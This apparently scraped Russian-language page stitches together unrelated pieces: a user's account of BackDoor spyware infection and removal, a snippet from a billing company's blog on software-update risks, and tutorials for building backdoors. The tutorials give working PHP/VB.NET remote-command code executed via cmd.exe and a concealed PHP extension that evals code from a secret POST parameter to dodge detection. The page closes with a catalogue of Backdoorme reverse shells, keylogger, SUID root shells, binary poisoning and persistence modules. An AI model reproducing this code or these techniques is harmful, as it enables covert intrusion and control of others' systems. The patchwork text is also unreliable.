Пишем бэкдор. Черный ход для хакера в твой ПК – BackDoor spyware

Чтение статьи займет: 3 мин.

Подбор чужого пароля – штука непростая, разве что его комбинация не банальное «qwerty». И напрасно пользователи инета, активно пользующиеся интернет-банкингом, клянут неведомых им хакеров, что увели дензнаки из их электронных кошельков путем подбора символов пароля. Все намного проще – в блужданьях по рунету обворованные пользователи сами того не ведая скачали довесок к интересующим их файлам, будь то музыка, видео или еще что-то. Они скачали spyware программу BackDoor и тут все началось…

В моем случае знакомство с бэкдорами свалилось на голову, подобно снегу в июле. После долгих раздумий я решил уйти с dial-up интернета на 3G, прикупив модем и трафик от билайн. Вернувшись с свежеприобретенным модемом домой, установив его ПО на комп, я нацелился на бешенный серфинг по инет-просторам – скорость-то должна была превысить диалаповскую, по меньшей мере, раз в 50. Все так вышло, только неожиданно в инет с моего ПК стали лезть неизвестные проги … Не обратив на действия этих самых программ должного внимания и выключив комп до следующего дня, на следующий день я обнаружил, что антивирус Др. Веб вырубился и не желает охотится на вирусы.

Черный ход в ПК для хакера

Что же за зверь такой этот BackDoor и как им не обзавестись, как удалить? «Черный ход», как переводится с английского backdoor, создается хакером и распространяется в популярных среди юзеров программах и файлах, по электронной почте (реже) – его код приписывается к ним хакером-распространителем. Так что качаем мы его самостоятельно и добровольно! Оказавшись в компе пользователя, вирус BackDoor прописывает себя в корневую папку windows и еще в кучу мест, блокирует работу антивируса и постоянно пересылает хозяину информацию о паролях и аккаунтах пользователя данного ПК. Кроме того, этот spyware-вирус активно распространяет себя с захваченного им компа, используя любой внешний контакт – аську, эл. почту, майл-агент, скайп, социальные сети и т.д.… Жесть, одним словом.

Что делать обычному, не изощренному в отражении хакерских атак, юзеру? Обнаружив spyware BackDoor в гостях на своем ПК – если у вас нет ни толкового фаерволла, ни антивируса, обнаружить будет трудно, только после кражи дензнаков и увода аккаунтов – обзаведитесь специализированной antispyware программой-антишпионом. У меня, к примеру, имеется Ad-Aware SE Personal, хоть и со старыми базами и в бесплатной версии, но эффективен до сих пор. Затем выбейте ею засранца-бэкдора из ключевых пунктов реестра, шустро переустановите антивирус и обновите его базы – задайте полное сканирование сразу после обновления и дождитесь его полного завершения, сколько бы времени не ушло на это!

Всем привет) Как вы уже заметили, сегодня расскажу как написать свой бэкдор "на любом языке" (Если вы умеете писать программы и у вас есть фантазия).

Итак начнем с того, что нам сначала нужно сделать связку админка-клиент. Для этого мы используем PHP , и всего лишь 5 строчек кода)

if ($_GET["cmd"] != "cmd_clear") { $cmd = fopen("cmd.txt", "w+"); //Создаем пустой файл, если существует такой очищаем его. fwrite($cmd, $_GET["cmd"]); //пихаем то, что в параметре "cmd", а там как мы помним было "msg(HelloWorld!)" fclose($cmd); //закрываем за собой файл } else { $cmd = fopen("cmd.txt", "w"); //Создаём новый файл (т.е. очищаем наш cmd.txt) fclose($cmd); //закрываем за собой файл }


Этот код я где-то спиздил нашел в просторах интернета.
Данный код будет оставлять команды для нашего бэкдора)

Итак приступим к админке, сначала набросаем на форме кнопку и текстбокс, и веббраузер, который я засунул на вторую, форму, чтобы он мне не мешал)

Далее перейдем к коду

Указываем наш сайт, дабы он загружался при запуске программы) и объявляем его глобальной переменной

Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load www = "http://localhost/" End Sub

Оживим кнопку, где мы говорим передать GET запрос на нашу админку на сайте, после cmd= наша команда) тег msg впоследствии нужен будет для обработки клиентом.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Form2.WebBrowser1.Navigate(www & "rat/admin.php?cmd=< msg>" & TextBox1.Text & "< /msg>") TextBox1.Text = "" End Sub

Наша админка готова)

Перейдем к клиенту) ничего не бросаем на форму, кроме таймера)

Давайте пропишем работу таймера по которому наша программа будет проверять сайт (файл cmd.txt) ну и конечно таймер запускается вместе с программой)) Так же как и в админке, объявим глобальные переменные, теперь их две, а еще нам нужно подключить две библиотеки

Imports System.Text Imports System.IO Public WC As New System.Net.WebClient Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load www = "http://localhost/" Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Для удобства я сделал искусственную задержку

Ну и теперь код самого таймера, т.е. то что должно исполняться) Сначала отпарсим наши данные) для этого мы и указывали тег msg , ну а дальше командой Shell запускаем командную строку с указанными командами)

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim R() As String = {"< msg>"} Dim L() As String = {"< /msg>"} Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create(www & "rat/cmd.txt") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse() Dim myStreamReader As New IO.StreamReader(myHttpWebResponse.GetResponseStream, System.Text.Encoding.GetEncoding(1251)) Dim Str As String = myStreamReader.ReadToEnd() If InStr(Str, R(0)) 0 Then Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1) Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0) WC.DownloadString(www & "rat/admin.php?cmd=clear_cmd") Wait(2) Shell("cmd.exe " + Res) Else End If End Sub


P.S. если вам интересна данная статья, то в следующий раз я сделаю статью о том, как скрыть действия нашего клиента.

В нашем блоге на Хабре мы не только рассказываем о развитии своего продукта - биллинга для операторов связи «Гидра» , но и публикуем материалы о работе с инфраструктурой и использовании технологий.

Немецкий журналист и хакер Ляйф Риге (Leif Ryge) написал для издания Ars Technica интересный материал о том, что современный подход к организации обновлений программного обеспечениях несет в себе серьезные риски информационной безопасности. Мы представляем вашему вниманию главные мысли этой заметки.

Предыстория

Еще в 2014 году редакция Washington Post писала о том, что компаниям вроде Apple и Google стоило бы изобрести нечто вроде секретного ключа, с помощью которого можно было бы получать доступ к их продуктам и который бы они хранили и передавали спецслужбам только в случае получения ими судебного решения».

Избавление от «слабых звеньев», атака на каждое из которых может стать критической, должно стать базовым требованием к любым новым механизмам распространения программного обеспечения.

Сегодня речь пойдет о написании бэкдора для PHP в виде расширения. Как правило, большинство взломщиков оставляют какие-либо куски кода в пользовательских скриптах. Естественно, подобные вещи легко находятся благодаря . Преимущества расширения очевидны:

  • затруднен поиск
  • обход disable_functions
  • возможность контроля всего кода
  • доступ к выполнению кода по секретному параметру

Но без минусов в данном случае не обошлось, нужна возможность редактирования файла конфигурации php.

В качестве примера, писать буду под Windows. Для написания расширения я использовал Visual Studio 2012 Express Edition. Также понадобятся исходники нужной версии PHP и собранные библиотеки (можно собрать из тех же исходников). Для простоты скачаем и исходники

Распакуем собранный PHP в C:\php, а исходники в C:\php-src.

Затем нужно произвести некоторые настройки VS.

1) Добавить определения препроцессора:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

2) Добавить каталоги для подключения исходников: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Добавить дополнительный каталог с либой php5ts.lib (C:\php\dev )


4) Добавить подключение библиотеки php5ts.lib.


5) Указать путь к собранному файлу.


Настроив параметры студии для разработки расширения (подробнее можно прочитать ), создадим новый проект backdoor типа «Консольное приложение Win32».


Выберем тип: «Библиотека DLL»

Затем, удалим из проекта лишние файлы. Должны остаться только backdoor.cpp , stdafx.cpp и stdafx.h .
В файл заголовков stdafx.h поместим следующий код:

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Теперь перейдем непосредственно к коду расширения. Удалим все строки и добавим подключения необходимых файлов.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Если настройки студии прошли верно, предупреждения исчезнут. При инициализации модуля существует несколько событий, каждое из которых происходит при определенных условиях. Нам необходимо выполнять наш код во время выполнения запроса. Для этого нужно инициализировать с нужной нам функцией, я выбрал в качестве имени «hideme».

PHP_RINIT_FUNCTION(hideme);

После этого можно переходить к инициализации модуля.

Zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

Как я уже писал, нам необходимо выполнение кода лишь во время запроса, поэтому запуск при загрузке и выгрузке модуля заменены на NULL. Теперь можно переходить к телу функции hideme.

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение char* secret_string = "secret_string"; // параметр в котором будет evil-код zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице code = Z_STRVAL_PP(val); // значение параметра zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода } } return SUCCESS; }

По комментариям должно быть понятно. Первоначально, задаем параметры method и secret_string . Затем проходим по выбранному массиву и ищем параметр с подходящим ключом, если таковой есть, берем из него значение и выполняем код через zend_eval_string.

После сборки получим библиотеку, которую можно использовать в качестве расширения.

Демонстрация на GNU Linux

Демонстрация на Windows:

Backdoorme - утилита для автоматического создания бэкдоров

Backdoorme является мощной утилитой, способной создать множество лазеек на Unix машинах. Backdoorme использует знакомый интерфейс metasploit с потрясающей расширяемостью. Backdoorme полагается на владение существующим SSH соединением или учетными данными жертвы, через которые она сможет передать и размесить любую лазейку. Пожалуйста, используйте Backdoorme с открытым разрешением.

Скрыто от гостей


Backdoorme сразу идет с определенным количеством встроенных бэкдоров, модулей и вспомогательных модулей. Бэкдоры являются конкретными компонентами для создания и развертывания необходимого бэкдора, такого как netcat backdoor или msfvenom backdoor. Модули могут быть применены к любому бэкдору, и используются, чтобы сделать бэкдоры более мощными, скрытыми или более быстроотключающимися. Вспомогательные элементы являются полезными операциями, которые можно выполнить, чтобы помочь сохранять перманентность.

Еще немного о бэкдорах: Чтобы запустить backdoorme, убедитесь, что у вас есть необходимые зависимости.

$ python dependencies.py

Запуск backdoorme:

$ python master.py

Бэкдоры

Чтобы использовать бэкдор, просто запустите ключевое слово "use".

>> use shell/metasploit + Using current target 1. + Using Metasploit backdoor... (msf) >>

Оттуда вы можете установить опции подходящие к бэкдору. Запустите или "show options" или "help", чтобы просмотреть список параметров, которые могут быть настроены.

Как и в metasploit, бэкдоры организованы по категориям.

  • Auxiliary (Вспомогательные категории)
    • keylogger – Добавляет кейлоггер в систему и делает для вас доступной опцию отправки результатов обратно по почте;
    • simplehttp – Устанавливает python SimpleHTTP сервер на клиенте.
    • user – Добавляет нового пользователя к цели.
    • web – Устанавливает Apache Server на клиенте.
  • Escalation (Категория расширения)
    • setuid – SetUID бэкдор работает путем установки setuid bit на исполняемый файл, подразумевая, что у пользователя есть корневой доступ. Таким образом, когда этот исполняемый файл позже запускается пользователем, не имеющим корневого доступа, данный файл выполняется с корневым доступом. По умолчанию, этот бэкдор переключает setuid bit на nano, таким образом, что если корневой доступ потерян каким-либо способом, атакующий может снова зайти в SSH как непривилегированный пользователь и все равно сможет запустить nano (или любой выбранный двоичный файл) как root. ("nano /etc/shadow"). Обратите внимание, что для развертывания данного расширения бэкдора, корневой доступ необходим в самом начале.
    • shell – shell backdoor является привилегированным расширением бэкдора, похожим на своего SetUID брата по расширению (но являющийся более конкретным) . Он дублирует оболочку bash в скрытый двоичный файл и устанавливает SUID бит. Обратите внимание, что для развертывания этого бэкдор-расширения изначально требуется корневой доступ. Чтобы использовать данный бэкдор, если SSH выступает в качестве непривилегированного пользователя, просто запустите «.bash -p», и у вас будет корневой доступ.
  • Shell (Категория оболочки)
    • bash – использует простой bash script для подключения к конкретному ip и комбинации портов и передаче результата в bash.
    • bash2 – слегка отличающаяся (и более надежная) описанного выше bash бэкдора, который не запрашивает пароль со стороны клиента.
    • metasploit – использует msfvenom для создания reverse_tcp двоичного кода на цели, затем запускает двоичный код для подключения к оболочке meterpreter.
    • netcat – использует netcat для передачи стандартного устройства ввода и вывода в /bin/sh, предоставляя пользователю интерактивную оболочку.
    • netcat_traditional – использует netcat-traditional"s -e для создания обратной оболочки.
    • perl – скрипт, написанный в perl, который перенаправляет результат в bash и переименовывает процесс, чтобы выглядеть менее заметным.
    • php – запускает php бэкдор, который отправляет результат в bash. Он не устанавливает автоматически веб-сервер, но вместо этого использует веб модуль.
    • pupy – использует бэкдор n1nj4sec Pupy, который находится на

      Скрыто от гостей

      .
    • python – использует короткий python скрипт для выполнения команд и отправки результатов обратно пользователю.
    • web – отправляет веб сервер к цели, затем загружает msfvenom php reverse_tcp бекдор и подключается к хосту. Несмотря на то, что это все еще php бэкдор, он не является таким же самым, как и описанный выше php бэкдор.
  • Access (Категория доступа)
    • remove_ssh – удаляет ssh сервер на клиенте. Очень удобно использовать в конце бэкдор сессии для удаления каких-либо следов.
    • ssh_key – создает RSA ключ и копирует на цель для подключения без пароля ssh.
    • ssh_port – Добавляет новый порт для ssh.
  • Windows (Категория Windows)
    • windows – Использует msfvenom для того, чтобы создать windows бэкдор.
Модули

У каждого бэкдора есть способность для получения дополнительных модулей, которые применяются для того, чтобы сделать бэкдор более мощным. Чтобы добавить модуль, просто используйте ключевое слово "add".

(msf) >> add poison + Poison module added

У каждого модуля есть дополнительные параметры, которые могут настраиваться и если "help" запустить повторно, вы можете увидеть или установить любые дополнительные опции.

Доступные на данный момент модули включают в себя:

  • Poison
    • Производят bin отравление целевого компьютера – Он компилирует исполняемый файл для вызова системной утилиты и существующего бэкдора.
    • Например, если модуль отравления bin запущен вместе с "ls", он скомпилирует и перенесет двоичный код под названием "ls", который будет запускать как существующий бэкдор, так и первоначальную "ls", таким образом отключая пользователя для более частого запуска бэкдора.
  • Cron
    • Добавляет существующий бэкдор в crontab корневого пользователя для работы с заданной частотой.
  • Web
    • Устанавливает веб-сервер и размещает веб-страницу, которая запускает бэкдор.
    • Просто заходит на сайт с открытым слушателем и бэкдор запускается.
  • User
    • Добавляет нового пользователя к цели.
  • Startup
    • Позволяет создавать бэкдоры с файлами bashrc и init.
  • Whitelist
    • Заносит в IP «белый список» таким образом, что только этот IP может подключиться к бэкдору.
Перевод:

Статьи по теме